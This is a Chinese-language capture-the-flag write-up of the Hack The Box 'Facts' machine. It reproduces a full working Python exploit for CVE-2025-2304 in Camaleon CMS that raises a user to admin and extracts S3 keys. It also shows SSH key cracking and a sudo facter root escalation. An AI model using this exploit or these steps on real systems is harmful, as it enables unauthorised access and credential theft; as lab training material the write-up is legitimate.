端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/HTB/facts]
└─$ sudo nmap --min-rate 10000 -p- facts.htb -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 16:53 CST
Nmap scan report for facts.htb
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 15.30 seconds

发现有一个特殊的 54321 端口,进行详细信息扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
┌──(kali㉿kali)-[~/HTB/facts]
└─$ sudo nmap -sT -sC -sV -p 80,54321 facts.htb -oA details
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 16:55 CST
Nmap scan report for facts.htb
Host is up (0.61s latency).

PORT STATE SERVICE VERSION
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: facts
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 189373F2E2CC7A72
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Thu, 12 Feb 2026 08:56:05 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>189373F2E2CC7A72</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 189373EEB3FADC4F
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Thu, 12 Feb 2026 08:55:47 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>189373EEB3FADC4F</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Thu, 12 Feb 2026 08:55:47 GMT
|_ Content-Length: 0

web 渗透

简单探测发现,54321 端口开启的是 MinIO ,但是一访问就会被转移到 9001 端口,而 9001 端口是未开放的,因此也没有太多的信息。

那就访问 80 端口,发现是一个介绍一些小事物的网页:

image1

进行目录扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/HTB/facts]
└─$ sudo gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://facts.htb -x php,html,txt
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://facts.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 11125]
/.html (Status: 200) [Size: 11113]
/index.html (Status: 200) [Size: 11128]
/index (Status: 200) [Size: 11113]
/search.html (Status: 200) [Size: 19212]
/search (Status: 200) [Size: 19187]
/rss.php (Status: 200) [Size: 183]
/page.txt (Status: 500) [Size: 7918]
/page (Status: 200) [Size: 19593]
/page.html (Status: 200) [Size: 19618]
/page.php (Status: 200) [Size: 19613]
/welcome (Status: 200) [Size: 11966]
/welcome.html (Status: 200) [Size: 11981]
/admin.php (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.html (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.txt (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/php (Status: 200) [Size: 11110]
/post.php (Status: 200) [Size: 11320]
/ajax (Status: 200) [Size: 0]
/Index (Status: 200) [Size: 11113]
/up.php (Status: 200) [Size: 73]

发现有 admin 页面,需要登录,简单尝试了一些弱密码,没有成功,但是可以注册一个新账号:

image2

注册了一个新账号之后登录,发现这是一个 Camaleon CMS 搭建的站点,版本是 2.9.0

image3

在网上寻找是否存在已知的漏洞,发现存在 CVE-2025-2304 ,且 这个 github 页面 有 exp,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)

import argparse
import requests
import re
import sys

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL")
parser.add_argument("-U", "--username", required=True, help="Username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("--newpass", default="test", help="New password to set")
parser.add_argument("-e", "--extract", action="store_true", help="Extract AWS Secrets")
parser.add_argument("-r", "--revert", action="store_true",help="Revert role back to client after escalation")

args = parser.parse_args()

print("[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)")

s = requests.Session()

#-------Login-------

r = s.get(f"{args.url}/admin/login")

#CSRF Extraction
m = re.search(r'<input type="hidden" name="authenticity_token" value="([^"]*)"',r.text)
csrf=m.group(1)
#print(f"Login CSRF extracted: {csrf}")

#Login Post Req
data={
"authenticity_token":csrf,
"user[username]": args.username,
"user[password]": args.password
}

r = s.post(f"{args.url}/admin/login", data=data)
if "/admin/logout" in r.text:
print("[+]Login confirmed")
else:
print("[-]Login failed")
exit()

#Profile Edit GET Req

r = s.get(f"{args.url}/admin/profile/edit")

m = re.search(r'<meta name="csrf-token" content="([^"]*)"[^>]*',r.text)
csrf=m.group(1)
#print(f"Login CSRF extracted: {csrf}")

m = re.search(r'<input[^>]*value="([^"]*)"[^>]*id="user_id"[^>]*',r.text)
user_id = m.group(1)
print(f" User ID: {user_id}")

'''m = re.search(r'<input[^>]*value="([^"]*)"[^>]*id="user_email"[^>]*',r.text)
user_email = m.group(1)
print(f"User Email: {user_email}")'''

m = re.search(r'<option selected="selected" value="([^"]*)">',r.text)
user_role = m.group(1)
print(f" Current User Role: {user_role}")

print("[+]Loading PPRIVILEGE ESCALATION")

#PPRIVILEGE ESCALATION

data={
"_method":"patch",
"authenticity_token":csrf,
"password[password]": args.newpass,
"password[password_confirmation]": args.newpass,
"password[role]": "admin"
}

headers={
"X-CSRF-Token":csrf,
"X-Requested-With": "XMLHttpRequest"
}

r = s.post(f"{args.url}/admin/users/{user_id}/updated_ajax", data=data, headers=headers)

#Role Verification

r = s.get(f"{args.url}/admin/profile/edit")

m = re.search(r'<input[^>]*value="([^"]*)"[^>]*id="user_id"[^>]*',r.text)
user_id = m.group(1)
print(f" User ID: {user_id}")

m = re.search(r'<option selected="selected" value="([^"]*)">',r.text)
updated_user_role = m.group(1)
print(f" Updated User Role: {updated_user_role}")

if args.extract:
print("[+]Extracting S3 Credentials")

r = s.get(f"{args.url}/admin/settings/site")

m = re.search(r'<input[^>]*value="([^"]*)"[^>]*options_filesystem_s3_access_key[^>]*',r.text)
s3_access_key = m.group(1)
print(f" s3 access key: {s3_access_key}")

m = re.search(r'<input[^>]*value="([^"]*)"[^>]*options_filesystem_s3_secret_key[^>]*',r.text)
s3_secret_key = m.group(1)
print(f" s3 secret key: {s3_secret_key}")

m = re.search(r'<input[^>]*value="([^"]*)"[^>]*options_filesystem_s3_endpoint[^>]*',r.text)
s3_endpoint = m.group(1)
print(f" s3 endpoint: {s3_endpoint}")

#Reverting users Role

print("[+]Reverting User Role")
if args.revert:
r = s.get(f"{args.url}/admin/profile/edit")

m = re.search(r'<meta name="csrf-token" content="([^"]*)"[^>]*',r.text)
csrf=m.group(1)

data={
"_method":"patch",
"authenticity_token":csrf,
"password[password]": args.newpass,
"password[password_confirmation]": args.newpass,
"password[role]": user_role
}

headers={
"X-CSRF-Token":csrf,
"X-Requested-With": "XMLHttpRequest"
}

r = s.post(f"{args.url}/admin/users/{user_id}/updated_ajax", data=data, headers=headers)

#Role Verification

r = s.get(f"{args.url}/admin/profile/edit")

m = re.search(r'<input[^>]*value="([^"]*)"[^>]*id="user_id"[^>]*',r.text)
user_id = m.group(1)
print(f" User ID: {user_id}")

m = re.search(r'<option selected="selected" value="([^"]*)">',r.text)
user_role = m.group(1)
print(f" User Role: {user_role}")

该漏洞可以修改一个低权限用户为 admin 权限。

利用该脚本尝试给我们注册的用户进行提权:

image4

可以看到反馈说是利用成功了。

尝试再次登录该用户的账号,需要注意的是,现在的密码已经变成了 test

image5

登录之后发现确实和之前不一样了,多了很多管理的权限,而且能看到 aws s3 的两个 KEY

想到刚才漏洞利用时,我们就已经拿到了 ACCESS KEYSECRET KEY ,且 54321 就是 endpoint 的端口,因此我们可以尝试连接:

image6

可以看到有两个桶,查看第一个桶,发现里面的文件结构像是个 home 目录,有 .ssh ,且有私钥文件,那就下载下来:

image7

现在有了私钥文件,但是我们没有用户名,所以我们需要寻找靶机上存在的用户名。

在网络上继续寻找已知漏洞,发现存在 CVE-2024-46987 这个任意文件读取的漏洞,poc 在这个页面

尝试利用:

image8

成功读取了 /etc/passwd ,发现有 triviawilliam 两个用户。

尝试进行 ssh 登录,发现私钥文件是 trivia 用户的,但是私钥本身需要密码,因此采用 ssh2johnjohn 进行破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HTB/facts]
└─$ ssh2john id_ed25519 > hash

┌──(kali㉿kali)-[~/HTB/facts]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:03:32 0.02% (ETA: 2026-02-27 14:54) 0g/s 13.80p/s 13.80c/s 13.80C/s popstar..pumas
dragonballz (id_ed25519)
1g 0:00:03:52 DONE (2026-02-12 18:26) 0.004305g/s 13.77p/s 13.77c/s 13.77C/s fireman..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

获取立足点

进行 ssh 登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/HTB/facts]
└─$ ssh trivia@facts.htb -i id_ed25519
Enter passphrase for key 'id_ed25519':
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Thu Feb 12 10:27:42 AM UTC 2026

System load: 0.03
Usage of /: 72.3% of 7.28GB
Memory usage: 19%
Swap usage: 0%
Processes: 220
Users logged in: 1


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$ whoami
trivia
trivia@facts:~$ cd ..
trivia@facts:/home$ ls
trivia william
trivia@facts:/home$ cd william
trivia@facts:/home/william$ ls -liah
total 24K
439875 drwxr-xr-x 2 william william 4.0K Jan 26 11:40 .
393218 drwxr-xr-x 4 root root 4.0K Jan 8 17:53 ..
393266 lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null
439877 -rw-r--r-- 1 william william 220 Aug 20 2024 .bash_logout
439878 -rw-r--r-- 1 william william 3.7K Aug 20 2024 .bashrc
439879 -rw-r--r-- 1 william william 807 Aug 20 2024 .profile
437620 -rw-r--r-- 1 root william 33 Feb 12 08:52 user.txt
trivia@facts:/home/william$ cat user.txt

拿到了 user flag。

提权

sudo -l 发现当前用户可以 sudo 执行一个文件:

1
2
3
4
5
6
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter

该文件的帮助内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
trivia@facts:~$ /usr/bin/facter --help
Usage
=====

facter [options] [query] [query] [...]

Options
=======
[--color] Enable color output.
[--no-color] Disable color output.
-c [--config] The location of the config file.
[--custom-dir] A directory to use for custom facts.
-d [--debug] Enable debug output.
[--external-dir] A directory to use for external facts.
[--hocon] Output in Hocon format.
-j [--json] Output in JSON format.
-l [--log-level] Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal.
[--no-block] Disable fact blocking.
[--no-cache] Disable loading and refreshing facts from the cache
[--no-custom-facts] Disable custom facts.
[--no-external-facts] Disable external facts.
[--no-ruby] Disable loading Ruby, facts requiring Ruby, and custom facts.
[--trace] Enable backtraces for custom facts.
[--verbose] Enable verbose (info) output.
[--show-legacy] Show legacy facts when querying all facts.
-y [--yaml] Output in YAML format.
[--strict] Enable more aggressive error reporting.
-t [--timing] Show how much time it took to resolve each fact
[--sequential] Resolve facts sequentially
[--http-debug] Whether to write HTTP request and responses to stderr. This should never be used in production.
-p [--puppet] Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts.
-v [--version] Print the version
[--list-block-groups] List block groups
[--list-cache-groups] List cache groups
-h [--help] Help for all arguments

我询问了 AI ,AI 说这个文件可以执行任意的脚本,只需要用 --external-dir 选项指定,facter 就会自动执行。

具体如下:

image9

拿到了 root flag。